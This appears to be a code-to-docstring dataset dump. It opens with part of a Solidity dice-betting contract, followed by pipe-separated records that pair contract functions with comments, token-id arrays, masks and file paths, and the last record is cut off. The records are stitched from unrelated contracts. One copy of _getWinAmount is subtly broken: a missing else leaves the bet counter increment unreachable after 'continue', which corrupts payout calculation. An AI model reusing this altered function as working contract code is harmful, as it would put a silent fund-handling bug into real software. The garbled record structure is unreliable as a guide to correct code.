odds[BET_9] = 6;
odds[BET_10] = 6;
odds[BET_11] = 6;
odds[BET_12] = 6;
odds[BET_8] = 8;
odds[BET_13] = 8;
odds[BET_7] = 12;
odds[BET_14] = 12;
odds[BET_6] = 14;
odds[BET_15] = 14;
odds[BET_5] = 18;
odds[BET_16] = 18;
odds[BET_4] = 50;
odds[BET_17] = 50;
// init results
betNumberResults[BET_9] = 9;
betNumberResults[BET_10] = 10;
betNumberResults[BET_11] = 11;
betNumberResults[BET_12] = 12;
betNumberResults[BET_8] = 8;
betNumberResults[BET_13] = 13;
betNumberResults[BET_7] = 7;
betNumberResults[BET_14] = 14;
betNumberResults[BET_6] = 6;
betNumberResults[BET_15] = 15;
betNumberResults[BET_5] = 5;
betNumberResults[BET_16] = 16;
betNumberResults[BET_4] = 4;
betNumberResults[BET_17] = 17;
betSameResults[BET_SAME_1] = 1;
betSameResults[BET_SAME_2] = 2;
betSameResults[BET_SAME_3] = 3;
betSameResults[BET_SAME_4] = 4;
betSameResults[BET_SAME_5] = 5;
betSameResults[BET_SAME_6] = 6;
}
// Place game
//
// Betmask - flags for each bet, total 22 bits.
// betAmount - 5 bet amounts in Wei
// commitLastBlock - block number when `commit` expires
// commit - sha3 of `reveal`
// r, s - components of ECDSA signature of (commitLastBlock, commit).
// Used to check commit is generated by `secretSigner`
//
// Game states:
// amount == 0 && gambler == 0 - 'clean' (can place a bet)
// amount != 0 && gambler != 0 - 'active' (can be settled or refunded)
// amount == 0 && gambler != 0 - 'processed' (can clean storage)
function placeGame(
uint24 betMask,
uint bet1Amount,
uint bet2Amount,
uint bet3Amount,
uint bet4Amount,
uint bet5Amount,
uint commitLastBlock,
uint commit,
bytes32 r,
bytes32 s
) external payable
{
// Is game enabled ?
require (enabled, "Game is closed");
// Check payed amount and sum of place amount are equal.
require (bet1Amount + bet2Amount + bet3Amount + bet4Amount + bet5Amount == msg.value,
"Place amount and payment should be equal.");
// Check that the game is in 'clean' state.
Game storage game = games[commit];
require (game.gambler == address(0),
"Game should be in a 'clean' state.");
// Check that commit is valid. It has not expired and its signature is valid.
// r = signature[0:64]
// s = signature[64:128]
// v = signature[128:130], always 27
require (block.number <= commitLastBlock, "Commit has expired.");
bytes32 signatureHash = keccak256(abi.encodePacked(uint40(commitLastBlock), commit));
require (secretSigner == ecrecover(signatureHash, 27, r, s), "ECDSA signature is not valid.");
// Try to lock amount.
_lockOrUnlockAmount(
betMask,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount,
1
);
// Store game parameters on blockchain.
game.placeBlockNumber = uint40(block.number);
game.mask = uint24(betMask);
game.gambler = msg.sender;
game.bet1Amount = bet1Amount;
game.bet2Amount = bet2Amount;
game.bet3Amount = bet3Amount;
game.bet4Amount = bet4Amount;
game.bet5Amount = bet5Amount;
}
function settleGame(uint reveal, uint cleanCommit) external {
// `commit` for bet settlement can only be obtained by hashing a `reveal`.
uint commit = uint(keccak256(abi.encodePacked(reveal)));
// Fetch bet parameters into local variables (to save gas).
Game storage game = games[commit];
uint bet1Amount = game.bet1Amount;
uint bet2Amount = game.bet2Amount;
uint bet3Amount = game.bet3Amount;
uint bet4Amount = game.bet4Amount;
uint bet5Amount = game.bet5Amount;
uint placeBlockNumber = game.placeBlockNumber;
address gambler = game.gambler;
uint24 betMask = game.mask;
// Check that bet is in 'active' state.
require (
bet1Amount != 0 ||
bet2Amount != 0 ||
bet3Amount != 0 ||
bet4Amount != 0 ||
bet5Amount != 0,
"Bet should be in an 'active' state");
// Check that bet has not expired yet (see comment to BET_EXPIRATION_BLOCKS).
require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
// Move bet into 'processed' state already.
game.bet1Amount = 0;
game.bet2Amount = 0;
game.bet3Amount = 0;
game.bet4Amount = 0;
game.bet5Amount = 0;
// The RNG - combine "reveal" and blockhash of placeBet using Keccak256. Miners
// are not aware of "reveal" and cannot deduce it from "commit" (as Keccak256
// preimage is intractable), and house is unable to alter the "reveal" after
// placeBet have been mined (as Keccak256 collision finding is also intractable).
uint entropy = uint(
keccak256(abi.encodePacked(reveal, blockhash(placeBlockNumber)))
);
uint winAmount = _getWinAmount(
uint8((entropy % 6) + 1),
uint8(((entropy >> 10) % 6) + 1),
uint8(((entropy >> 20) % 6) + 1),
betMask,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount
);
// Unlock the bet amount, regardless of the outcome.
_lockOrUnlockAmount(
betMask,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount,
0
);
// Send the funds to gambler.
if(winAmount > 0){
sendFunds(gambler, winAmount);
}else{
sendFunds(gambler, 1 wei);
}
// Clear storage of some previous bet.
if (cleanCommit == 0) {
return;
}
clearProcessedBet(cleanCommit);
}
// Refund transaction - return the bet amount of a roll that was not processed in a
// due timeframe. Processing such blocks is not possible due to EVM limitations (see
// BET_EXPIRATION_BLOCKS comment above for details). In case you ever find yourself
// in a situation like this, just contact the dice2.win support, however nothing
// precludes you from invoking this method yourself.
function refundBet(uint commit) external {
// Check that bet is in 'active' state.
Game storage game = games[commit];
uint bet1Amount = game.bet1Amount;
uint bet2Amount = game.bet2Amount;
uint bet3Amount = game.bet3Amount;
uint bet4Amount = game.bet4Amount;
uint bet5Amount = game.bet5Amount;
// Check that bet is in 'active' state.
require (
bet1Amount != 0 ||
bet2Amount != 0 ||
bet3Amount != 0 ||
bet4Amount != 0 ||
bet5Amount != 0,
"Bet should be in an 'active' state");
// Check that bet has already expired.
require (block.number > game.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
// Move bet into 'processed' state already.
game.bet1Amount = 0;
game.bet2Amount = 0;
game.bet3Amount = 0;
game.bet4Amount = 0;
game.bet5Amount = 0;
// Unlock the bet amount.
_lockOrUnlockAmount(
game.mask,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount,
0
);
// Send the refund.
sendFunds(game.gambler, bet1Amount + bet2Amount + bet3Amount + bet4Amount + bet5Amount);
}
// Helper routine to move 'processed' bets into 'clean' state.
function clearProcessedBet(uint commit) private {
Game storage game = games[commit];
// Do not overwrite active bets with zeros; additionally prevent cleanup of bets
// for which commit signatures may have not expired yet (see whitepaper for details).
if (
game.bet1Amount != 0 ||
game.bet2Amount != 0 ||
game.bet3Amount != 0 ||
game.bet4Amount != 0 ||
game.bet5Amount != 0 ||
block.number <= game.placeBlockNumber + BET_EXPIRATION_BLOCKS
) {
return;
}
// Zero out the remaining storage (amount was zeroed before, delete would consume 5k
// more gas).
game.placeBlockNumber = 0;
game.mask = 0;
game.gambler = address(0);
}
// A helper routine to bulk clean the storage.
function clearStorage(uint[] cleanCommits) external {
uint length = cleanCommits.length;
for (uint i = 0; i < length; i++) {
clearProcessedBet(cleanCommits[i]);
}
}
// Send funds.
function sendFunds(address beneficiary, uint amount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, amount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
// Get actual win amount.
// dice1, dice2, dice3 - dice from 1 to 6
function _getWinAmount(
uint8 dice1,
uint8 dice2,
uint8 dice3,
uint24 betMask,
uint bet1Amount,
uint bet2Amount,
uint bet3Amount,
uint bet4Amount,
uint bet5Amount
)
private view returns (uint winAmount)
{
uint8 betCount = 0;
uint24 flag = 0;
uint8 sum = dice1 + dice2 + dice3;
uint8 i = 0;
for (i = 0; i < BET_MASK_COUNT; i++) {
flag = uint24(1) << i;
if(uint24(betMask & flag) == 0){
continue;
}else{
betCount += 1;
}
if(i < 14){
if(sum == betNumberResults[flag]){
winAmount += odds[flag] * _nextAmount(
betCount,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount
);
}
continue;
}
if(i >= 14 && i < 20){
if(dice1 == betSameResults[flag] && dice1 == dice2 && dice1 == dice3){
winAmount += odds[flag] * _nextAmount(
betCount,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount
);
}
continue;
}
if(
i == 20 &&
(sum >= 4 && sum <= 10) &&
(dice1 != dice2 || dice1 != dice3 || dice2 != dice3)
){
winAmount += odds[flag] * _nextAmount(
betCount,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount
);
}
if(
i == 21 &&
(sum >= 11 && sum <= 17) &&
(dice1 != dice2 || dice1 != dice3 || dice2 != dice3)
){
winAmount += odds[flag] * _nextAmount(
betCount,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount
);
}
if(betCount == MAX_BET){
break;
}
}
}
// Choose next amount by bet count
function _nextAmount(
uint8 betCount,
uint bet1Amount,
uint bet2Amount,
uint bet3Amount,
uint bet4Amount,
uint bet5Amount
)
private pure returns (uint amount)
{
if(betCount == 1){
return bet1Amount;
}
if(betCount == 2){
return bet2Amount;
}
if(betCount == 3){
return bet3Amount;
}
if(betCount == 4){
return bet4Amount;
}
if(betCount == 5){
return bet5Amount;
}
}
// lock = 1, lock
// lock = 0, unlock
function _lockOrUnlockAmount(
uint24 betMask,
uint bet1Amount,
uint bet2Amount,
uint bet3Amount,
uint bet4Amount,
uint bet5Amount,
uint8 lock
)
private
{
uint8 betCount;
uint possibleWinAmount;
uint betBigSmallWinAmount = 0;
uint betNumberWinAmount = 0;
uint betSameWinAmount = 0;
uint24 flag = 0;
for (uint8 i = 0; i < BET_MASK_COUNT; i++) {
flag = uint24(1) << i;
if(uint24(betMask & flag) == 0){
continue;
}else{
betCount += 1;
}
if(i < 14 ){
betNumberWinAmount = _assertAmount(
betCount,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount,
MAX_AMOUNT_NUMBER,
odds[flag],
betNumberWinAmount
);
continue;
}
if(i >= 14 && i < 20){
betSameWinAmount = _assertAmount(
betCount,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount,
MAX_AMOUNT_SAME,
odds[flag],
betSameWinAmount
);
continue;
}
if(i >= 20){
betBigSmallWinAmount = _assertAmount(
betCount,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount,
MAX_AMOUNT_BIG_SMALL,
odds[flag],
betBigSmallWinAmount
);
continue;
}
if(betCount == MAX_BET){
break;
}
}
if(betSameWinAmount >= betBigSmallWinAmount){
possibleWinAmount += betSameWinAmount;
}else{
possibleWinAmount += betBigSmallWinAmount;
}
possibleWinAmount += betNumberWinAmount;
// Check that game has valid number of bets
require (betCount > 0 && betCount <= MAX_BET,
"Place bet count should be within range.");
if(lock == 1){
// Lock funds.
lockedInBets += possibleWinAmount;
// Check whether contract has enough funds to process this bet.
require (lockedInBets <= address(this).balance,
"Cannot afford to lose this bet.");
}else{
// Unlock funds.
lockedInBets -= possibleWinAmount;
require (lockedInBets >= 0,
"Not enough locked in amount.");
}
}
function _max(uint amount, uint8 odd, uint possibleWinAmount)
private pure returns (uint newAmount)
{
uint winAmount = amount * odd;
if( winAmount > possibleWinAmount){
return winAmount;
}else{
return possibleWinAmount;
}
}
function _assertAmount(
uint8 betCount,
uint amount1,
uint amount2,
uint amount3,
uint amount4,
uint amount5,
uint maxAmount,
uint8 odd,
uint possibleWinAmount
)
private pure returns (uint amount)
{
string memory warnMsg = "Place bet amount should be within range.";
if(betCount == 1){
require (amount1 >= MIN_AMOUNT && amount1 <= maxAmount, warnMsg);
return _max(amount1, odd, possibleWinAmount);
}
if(betCount == 2){
require (amount2 >= MIN_AMOUNT && amount2 <= maxAmount, warnMsg);
return _max(amount2, odd, possibleWinAmount);
}
if(betCount == 3){
require (amount3 >= MIN_AMOUNT && amount3 <= maxAmount, warnMsg);
return _max(amount3, odd, possibleWinAmount);
}
if(betCount == 4){
require (amount4 >= MIN_AMOUNT && amount4 <= maxAmount, warnMsg);
return _max(amount4, odd, possibleWinAmount);
}
if(betCount == 5){
require (amount5 >= MIN_AMOUNT && amount5 <= maxAmount, warnMsg);
return _max(amount5, odd, possibleWinAmount);
}
}
// Standard modifier on methods invokable only by contract owner.
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
// Standard contract ownership transfer implementation,
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner, "Can only accept preapproved new owner.");
owner = nextOwner;
}
// Fallback function deliberately left empty. It's primary use case
// is to top up the bank roll.
function () public payable {
}
// See comment for "secretSigner" variable.
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
// Funds withdrawal to cover team costs.
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance, "Increase amount larger than balance.");
require (lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds.");
sendFunds(beneficiary, withdrawAmount);
}
// Contract may be destroyed only when there are no ongoing bets,
// either settled or refunded. All funds are transferred to contract owner.
function kill() external onlyOwner {
require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct.");
selfdestruct(owner);
}
// Close or open the game.
function enable(bool _enabled) external onlyOwner{
enabled = _enabled;
}
}
|
Get actual win amount. dice1, dice2, dice3 - dice from 1 to 6
|
function _getWinAmount(
uint8 dice1,
uint8 dice2,
uint8 dice3,
uint24 betMask,
uint bet1Amount,
uint bet2Amount,
uint bet3Amount,
uint bet4Amount,
uint bet5Amount
)
private view returns (uint winAmount)
{
uint8 betCount = 0;
uint24 flag = 0;
uint8 sum = dice1 + dice2 + dice3;
uint8 i = 0;
for (i = 0; i < BET_MASK_COUNT; i++) {
flag = uint24(1) << i;
if(uint24(betMask & flag) == 0){
continue;
betCount += 1;
}
if(i < 14){
if(sum == betNumberResults[flag]){
winAmount += odds[flag] * _nextAmount(
betCount,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount
);
}
continue;
}
if(i >= 14 && i < 20){
if(dice1 == betSameResults[flag] && dice1 == dice2 && dice1 == dice3){
winAmount += odds[flag] * _nextAmount(
betCount,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount
);
}
continue;
}
if(
i == 20 &&
(sum >= 4 && sum <= 10) &&
(dice1 != dice2 || dice1 != dice3 || dice2 != dice3)
){
winAmount += odds[flag] * _nextAmount(
betCount,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount
);
}
if(
i == 21 &&
(sum >= 11 && sum <= 17) &&
(dice1 != dice2 || dice1 != dice3 || dice2 != dice3)
){
winAmount += odds[flag] * _nextAmount(
betCount,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount
);
}
if(betCount == MAX_BET){
break;
}
}
}
| 15,864,635 |
[
1,
967,
3214,
5657,
3844,
18,
302,
1812,
21,
16,
302,
1812,
22,
16,
302,
1812,
23,
300,
302,
1812,
628,
404,
358,
1666,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
389,
588,
18049,
6275,
12,
203,
565,
2254,
28,
302,
1812,
21,
16,
203,
565,
2254,
28,
302,
1812,
22,
16,
203,
565,
2254,
28,
302,
1812,
23,
16,
203,
565,
2254,
3247,
2701,
5796,
16,
203,
565,
2254,
2701,
21,
6275,
16,
203,
565,
2254,
2701,
22,
6275,
16,
203,
565,
2254,
2701,
23,
6275,
16,
203,
565,
2254,
2701,
24,
6275,
16,
203,
565,
2254,
2701,
25,
6275,
203,
225,
262,
203,
225,
3238,
1476,
1135,
261,
11890,
5657,
6275,
13,
203,
225,
288,
203,
565,
2254,
28,
2701,
1380,
273,
374,
31,
203,
565,
2254,
3247,
2982,
273,
374,
31,
203,
565,
2254,
28,
2142,
273,
302,
1812,
21,
397,
302,
1812,
22,
397,
302,
1812,
23,
31,
203,
565,
2254,
28,
277,
273,
374,
31,
203,
203,
565,
364,
261,
77,
273,
374,
31,
277,
411,
605,
1584,
67,
11704,
67,
7240,
31,
277,
27245,
288,
203,
1377,
2982,
273,
2254,
3247,
12,
21,
13,
2296,
277,
31,
203,
1377,
309,
12,
11890,
3247,
12,
70,
278,
5796,
473,
2982,
13,
422,
374,
15329,
203,
3639,
1324,
31,
203,
3639,
2701,
1380,
1011,
404,
31,
203,
1377,
289,
203,
1377,
309,
12,
77,
411,
5045,
15329,
203,
3639,
309,
12,
1364,
422,
2701,
1854,
3447,
63,
6420,
5717,
95,
203,
1850,
5657,
6275,
1011,
14800,
87,
63,
6420,
65,
380,
389,
4285,
6275,
12,
203,
5411,
2701,
1380,
16,
203,
5411,
2701,
21,
6275,
16,
203,
5411,
2701,
22,
6275,
16,
203,
5411,
2701,
23,
6275,
16,
203,
2
] |
./full_match/3/0x4F5304dBDCbc11630282c151317259A53051F6F9/sources/browser/unisushi.sol
|
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but with `errorMessage` as a fallback revert reason when `target` reverts. _Available since v3.1._/
|
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
| 8,118,861 |
[
1,
8650,
487,
288,
22044,
17,
1887,
17,
915,
26356,
620,
17,
2867,
17,
3890,
17,
11890,
5034,
17,
20294,
68,
915,
26356,
620,
68,
6487,
1496,
598,
1375,
1636,
1079,
68,
487,
279,
5922,
15226,
3971,
1347,
1375,
3299,
68,
15226,
87,
18,
389,
5268,
3241,
331,
23,
18,
21,
6315,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
445,
26356,
620,
12,
2867,
1018,
16,
1731,
3778,
501,
16,
2254,
5034,
460,
16,
533,
3778,
9324,
13,
2713,
1135,
261,
3890,
3778,
13,
288,
203,
3639,
2583,
12,
2867,
12,
2211,
2934,
12296,
1545,
460,
16,
315,
1887,
30,
2763,
11339,
11013,
364,
745,
8863,
203,
3639,
327,
389,
915,
26356,
620,
12,
3299,
16,
501,
16,
460,
16,
9324,
1769,
203,
540,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xf9231D28B34CD77A08542f73ca87c4411B1b8B56/sources/vesper-pools/contracts/Errors.sol
|
withdrawn amount is not correct
|
string public constant INCORRECT_WITHDRAW_AMOUNT = "29";
| 4,930,820 |
[
1,
1918,
9446,
82,
3844,
353,
486,
3434,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
533,
1071,
5381,
2120,
9428,
4512,
67,
9147,
40,
10821,
67,
2192,
51,
5321,
273,
315,
5540,
14432,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x0082578eedFD01ec97c36165469D012D6DC257CC/sources/contracts/libraries/InfiniteBags.sol
|
@dev Bag holding color data.
|
struct Color {
uint16 h;
uint16 s;
uint16 l;
string rendered;
}
| 4,240,835 |
[
1,
5013,
19918,
2036,
501,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1697,
5563,
288,
203,
565,
2254,
2313,
366,
31,
203,
565,
2254,
2313,
272,
31,
203,
565,
2254,
2313,
328,
31,
203,
565,
533,
7935,
31,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
